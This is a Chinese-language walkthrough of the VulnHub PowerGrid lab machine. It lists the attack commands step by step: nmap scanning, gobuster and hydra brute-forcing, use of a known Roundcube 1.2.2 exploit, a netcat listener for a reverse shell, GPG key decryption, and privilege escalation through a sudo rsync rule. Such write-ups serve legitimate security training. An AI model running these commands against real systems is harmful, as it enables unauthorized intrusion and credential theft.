Vulnhub:PowerGrid-1.0.1靶机 文章目录nmap扫描-精Web渗透目录爆破简单认证爆破-精会话内目录爆破40892分析邮件信息解读利用与绕过PGP解密与Docker立足点靶机地址https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ovanmap扫描-精sudo nmap -sn 192.168.1.13/24扫描网段,查看存活主机寻找靶机mkdir nmap_output创造一个文件夹,用于存扫描结果等①sudo nmap --min-rate 10000 -p- 192.168.1.13 -oA nmap_out/ports这种的话虽然噪声挺大但打靶机可以不用这么谨慎快而方便②而这下面这种方法更偏于红队实战time sudo nmap -sS -n -Pn -T2 --max-retries 2 -p- 192.168.1.13 -oA nmap_output/ports_slow③sudo nmap -sS -n -Pn -p 88,143,993,1 -sV -sT -O --reason 192.168.1.13 -oA nmap_output/detail扫描相关端口④sudo nmap -sU --top-ports 192.168.1.13 -oA nmap_out/udp保险起见做一下udp扫描。Web渗透curl -s http://192.168.1.13 html2text目录爆破gobuster dir -u http://10.10.10.157 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --useragent ‘Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0’ --discover-backup -x txt,php,rar,zip这个指令要去获得他的userAgent所以我们可以把userAgent换成–random-agent,随机浏览器 UA不用手动写一大串 UA 字符串gobuster dir -u http://靶机IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --random-agent --discover-backup -x php,txt,zip,rar,bak -t 50 -o gobuster_result.txt简单认证爆破-精发现他需要用户和密码登录,我们用相关工具来爆破一下,有时候用自己生成的字典才能碰撞出来time hydra -L dict -P wordlists 10.10.10.157 http-get /zmail -e nsr用户名p48密码electrico会话内目录爆破登录进去之后,发现还有一个登录界面把HTTP的请求头给复制一下cookie也要复制上去gobuster dir -u http://10.10.10.157/zmail/-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --useragent ‘Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Firefox/140.0’ --discover-backup -x txt,php,rar,zip -H ‘Authorization: Basic cDQ4OmVsZWN0cmljbw’ -c ‘roundcube_sessionbge3b8qat0vr0mb8c6u39pbuio’问一下我们爆破出来的。这里我们可以看到roundcube的版本是1.2.240892分析searchsploit roundcube 1.2.2搜索一下这个版本有什么漏洞searchsploit roundcube -m 40892并下载下来邮件信息解读之后用我们之前爆破出来的用户和密码,用户名p48密码electrico,去进行登录登录进去发现一个邮件,发现这是一个ssh登录密钥(GPG加密的密文)要利用这个密钥前提条件是获得系统的shell利用与绕过40892的payload说我们要在数据包的token中把1改成相关路径改成像这样的一般路径只要后端没人乱改路径就是这个路径因为token是url编码所以我们也要把payload给url编码访问上传的payload路径,在此抓包包在数据包写入反弹shell(也需要url编码),并打开监听sudo rlwrap -cAr nc -lnvp 443监听443端口获得了第一个flag,作者还问了我们你擅长跳板吗说明要进行横向移动了PGP解密与Docker立足点我们登录进p48用户里面发现了他这里面有GPG解密用的私钥(privkey.gpg)复制邮件里面加密的ssh私钥放进我们自己创建的.pgp文件gpg --import privkey.gpg把私钥导入本机GPG密钥管理库开始解密ssh私钥文件并存于p48.key文件中弄好明文的ssh私钥需要给ssh私钥修改文件权限chmod 600 p48.key因为我们不知道这份ssh私钥是哪个docker容器的,我们需要对三个docker容器IP地址进行ssh连接ssh -i P48.key p48目标IP连接成功之后拿到第二个flag进入docker容器后,我们想提权发现在这个容器里面p48 用户可以免密码以 root 身份直接运行 rsync 程序User p48 may run the following commands on ef117d7a978f: (root) NOPASSWD: /usr/bin/rsync拿到第三枚flag,继续寻找路径找到第四枚flag第四枚flag,叫我们执行他给的命令去阻止相关路径下的恐吓代码我们先通过 lsattr 查看 /var/www/html/startTime.txt 的扩展属性发现文件配置了 i 不可变锁禁止任何人修改文件内容。使用 chattr -i 命令解除文件锁定再次执行 lsattr 可以观察到 i 属性消失文件解除保护支持后续修改操作最后我们把这个恐吓代码删除收工